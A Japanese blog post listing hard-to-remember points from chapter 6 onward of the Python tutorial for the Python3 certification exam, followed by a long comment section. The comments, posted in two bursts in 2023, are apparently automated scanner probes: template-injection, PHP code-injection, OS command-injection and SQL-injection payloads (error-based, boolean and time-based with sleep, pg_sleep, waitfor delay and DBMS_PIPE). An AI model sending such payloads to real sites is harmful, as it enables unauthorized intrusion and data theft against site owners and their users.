【Python3認定基礎試験】試験で問われるかつ記憶が曖昧になりそうな箇所を総まとめ②【Pythonチュートリアル6章~】

カテゴリ:Python 投稿:2022年8月22日22:26、更新:2022年8月22日22:27

・記事の概要 

Python3エンジニア認定基礎試験でよく問われる

Pythonチュートリアル(第4版)の内容の中で記憶が曖昧になりそうな部分を

それぞれシートにまとめてみました!6章以降の内容です。

初学者や非エンジニアの方にも、なるべく分かりやすくまとめます!


・この記事の対象 

Python3エンジニア認定基礎試験を受験する方(非エンジニアの方含み)

・Pythonチュートリアルの6章~の確認をしたい方

・同試験を受験する直前に記憶のチェックをしたい方


・なんの解説か 

普段はPythonチュートリアル(第4版)を章ごとに解説していますが

今回は試験前のまとめのような感じです。

詳細な知識ではなく、試験直前で確認するチートシート的内容です。

今回は6章以降をまとめます。

前回1~5章までをまとめたものは以下です。

試験で問われるかつ記憶が曖昧になりそうな箇所を総まとめ①


また、公式書籍の準備がまだという方は、購入をお勧めします。

内容が分かりにくいというレビューも聞きますが、

(実際に初学者へ凄く丁寧な説明というわけではないが)

要点をかなりしっかり抑えた内容ですので、

資格取得という面ではなくとも手元にあるといいものです。




・実際のシート 

以下にシートでまとめていきますので、ご利用ください。

前述の通り、試験前の知識整理や確認が用途です。

6,7章は出題数が少ないのでここでは掲載しませんが、関連記事に補足説明記事があります。



・8章:エラー制御関連

8章のまとめ



・10章:よく出る標準ライブラリ

10章のまとめ



10章:正規表現(補足)

正規表現のまとめ



・12章:問われやすい観点抜粋

12章のまとめ



・まとめ 

ちょっとまだ思いついたものをシートに起こしている状態なので

「これも該当するなあ」というものがあれば追加していきます。

Python3認定基礎試験の解説記事は今後も続けてみようと思いますが、

皆様の参考になれば幸いです。


繰り返しにはなりますが、受験には公式書籍があった方がいいですので

メインは書籍でインプットをしていきましょう!



Pythonチュートリアル 第4版


ただ「本当にプログラミング自体が初心者で」という場合は公式書籍の前に

「スッキリシリーズ」のテキストから入ると挿絵や説明がかなり分かりやすく

初めての理解には役立つかもしれません。

私も未経験の新卒時にはJavaで同じシリーズを読んでいました。




・関連記事 

Python3認定基礎試験関連の記事が以下にもあります。

参考までにぜひ!


・1~5章までの総まとめ(前半記事)

試験で問われるかつ記憶が曖昧になりそうな箇所を総まとめ①


・第4章(P30~)に関する説明記事

関数における引数のデフォルト値について解説


・第7章のフォーマット指定子について


・第9章の前に読んでほしい記事

初学者にクラスについて最初に抑えておいてもらいたいこと


・1問1答形式で使いやすい演習問題サイトの紹介記事

Python3エンジニア認定基礎試験の使いやすい演習問題サイトをご紹介!

コメント一覧

名無し / 2023年9月13日7:32
123456

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
/*1*/{{860422301+971048506}}

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456

${832793314+824412766} / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
${973651086+970231967}

名無し / 2023年9月13日7:33
123456

${@var_dump(md5(848105017))}; / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
${820439044+901474051}

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
${(868902792+966015450)?c}

名無し / 2023年9月13日7:33
123456'and/**/extractvalue(1,concat(char(126),md5(1949016411)))and'

'-var_dump(md5(932030220))-' / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456

名無し'and's'='s / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
#set($c=867832748+931492497)${c}$c

名無し / 2023年9月13日7:33
123456"and/**/extractvalue(1,concat(char(126),md5(1140921158)))and"

名無し / 2023年9月13日7:33
${@var_dump(md5(959518286))};

名無し'and'y'='z / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
<%- 911539642+814755073 %>

名無し expr 988708607 + 820460379 / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
extractvalue(1,concat(char(126),md5(1920762485)))

名無し / 2023年9月13日7:33
'-var_dump(md5(223646177))-'

名無し"and"h"="h / 2023年9月13日7:33
123456

名無し|expr 877474274 + 823100580 / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456'and(select'1'from/**/cast(md5(1478392445)as/**/int))>'0

名無し"and"f"="m / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456/**/and/**/cast(md5('1884214356')as/**/int)>0

名無し / 2023年9月13日7:33
123456

名無し&set /A 863745276+990159474 / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1377631203')))

名無し / 2023年9月13日7:33
123456

expr 993503071 + 816904306 / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1386187011')))>'0

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456
expr 897399516 + 908106799

名無し / 2023年9月13日7:33
123456鎈'"\(

/*1*/{{869909689+962227890}} / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456|expr 882072054 + 942851588

名無し / 2023年9月13日7:33
123456'"\(

${978744005+870579856} / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456$(expr 895442983 + 913327116)

${(959325699+819669138)?c} / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:33
123456&set /A 921222913+963591131

名無し / 2023年9月13日7:33
expr 899190644 + 900081160

<%- 866397046+929924973 %> / 2023年9月13日7:34
123456

名無し / 2023年9月13日7:34
123456/**/and+4=4

名無し / 2023年9月13日7:34
123456/**/and+1=6

名無し / 2023年9月13日7:34
123456'and'z'='z

名無し / 2023年9月13日7:34
123456'and'p'='i

名無し / 2023年9月13日7:34
123456"and"e"="e

名無し / 2023年9月13日7:34
123456"and"l"="o

名無し / 2023年9月13日7:34
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年9月13日7:34
(select*from(select+sleep(2)union/**/select+1)a)

名無し鎈'"\( / 2023年9月13日7:34
123456

名無し / 2023年9月13日7:34
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し'"\( / 2023年9月13日7:34
123456

名無し / 2023年9月13日7:34
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年9月13日7:34
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年9月13日7:34
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年9月13日7:34
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年9月13日7:34
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年9月13日7:35
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年9月13日7:35
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年9月13日7:35
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年9月13日7:35
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年9月13日7:35
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年9月13日7:35
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年9月13日7:35
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('p',0)

名無し / 2023年9月13日7:35
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('e',2)

名無し / 2023年9月13日7:35
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',0)='e

名無し / 2023年9月13日7:35
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',2)='h

名無し / 2023年11月7日15:28
123456

名無し / 2023年11月7日15:28
123456

名無し / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
${974268706+889053427}

名無し / 2023年11月7日15:29
123456

${@var_dump(md5(943399963))}; / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

'-var_dump(md5(250288762))-' / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

${932910157+911002173} / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
${@var_dump(md5(687088328))};

名無し / 2023年11月7日15:29
123456

名無し expr 980445078 + 804287367 / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
'-var_dump(md5(170708387))-'

名無し|expr 991307499 + 888248843 / 2023年11月7日15:29
123456

/*1*/{{837480413+858228070}} / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

${846974239+884160766} / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

名無し&set /A 882095766+845258669 / 2023年11月7日15:29
123456

${(940650874+824803098)?c} / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456

expr 923825377 + 961135787 / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456
expr 901780965 + 940470347

<%- 854312533+992673254 %> / 2023年11月7日15:29
123456

名無し / 2023年11月7日15:29
123456|expr 952448487 + 947365158

名無し / 2023年11月7日15:29
/*1*/{{829082051+891131966}}

名無し / 2023年11月7日15:29
123456$(expr 962586545 + 988597142)

名無し / 2023年11月7日15:29
${836555149+906149486}

名無し / 2023年11月7日15:29
123456&set /A 928308700+958741451

名無し / 2023年11月7日15:29
${(826267520+871092411)?c}

名無し / 2023年11月7日15:29
expr 890890059 + 895922548

名無し / 2023年11月7日15:29
#set($c=922209581+814688787)${c}$c

名無し / 2023年11月7日15:29
<%- 905723714+856548074 %>

名無し'and'y'='y / 2023年11月7日15:30
123456

名無し鎈'"\( / 2023年11月7日15:30
123456

名無し'and'c'='l / 2023年11月7日15:30
123456

名無し'"\( / 2023年11月7日15:30
123456

名無し"and"s"="s / 2023年11月7日15:30
123456

名無し / 2023年11月7日15:30
123456'and/**/extractvalue(1,concat(char(126),md5(1039413479)))and'

名無し"and"s"="d / 2023年11月7日15:30
123456

名無し / 2023年11月7日15:30
123456"and/**/extractvalue(1,concat(char(126),md5(1583278060)))and"

名無し / 2023年11月7日15:30
extractvalue(1,concat(char(126),md5(1843797699)))

名無し / 2023年11月7日15:30
123456'and(select'1'from/**/cast(md5(1769161320)as/**/int))>'0

名無し / 2023年11月7日15:30
123456/**/and/**/cast(md5('1351078368')as/**/int)>0

名無し / 2023年11月7日15:30
123456

名無し / 2023年11月7日15:30
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1071447975')))

名無し / 2023年11月7日15:30
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1007414076')))>'0

名無し / 2023年11月7日15:30
123456鎈'"\(

名無し / 2023年11月7日15:30
123456'"\(

名無し / 2023年11月7日15:30
123456/**/and+4=4

名無し / 2023年11月7日15:31
123456/**/and+0=7

名無し / 2023年11月7日15:31
123456'and'n'='n

名無し / 2023年11月7日15:31
123456'and'z'='r

名無し / 2023年11月7日15:31
123456"and"b"="b

名無し / 2023年11月7日15:31
123456"and"b"="g

名無し / 2023年11月7日15:31
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年11月7日15:31
(select*from(select+sleep(2)union/**/select+1)a)

名無し / 2023年11月7日15:31
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し / 2023年11月7日15:31
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年11月7日15:31
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年11月7日15:31
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年11月7日15:31
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年11月7日15:31
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年11月7日15:31
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年11月7日15:31
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年11月7日15:32
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年11月7日15:32
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年11月7日15:32
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年11月7日15:32
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年11月7日15:32
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('x',0)

名無し / 2023年11月7日15:32
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('n',2)

名無し / 2023年11月7日15:32
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',0)='u

名無し / 2023年11月7日15:32
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',2)='n

コメント投稿ページへ


書いている人

のぎ
PG->SE->PMとして働き、現在はIT企業で新卒採用の担当をしています。長期育休取得明けで0歳娘の対応に毎日バタバタです。笑
採用業務をしつつ社内利用ツールなど作成しており、当ブログも勉強の一環でコーディングして作成しています。 エンジニア領域、人事・採用領域、育児関連など発信していきます。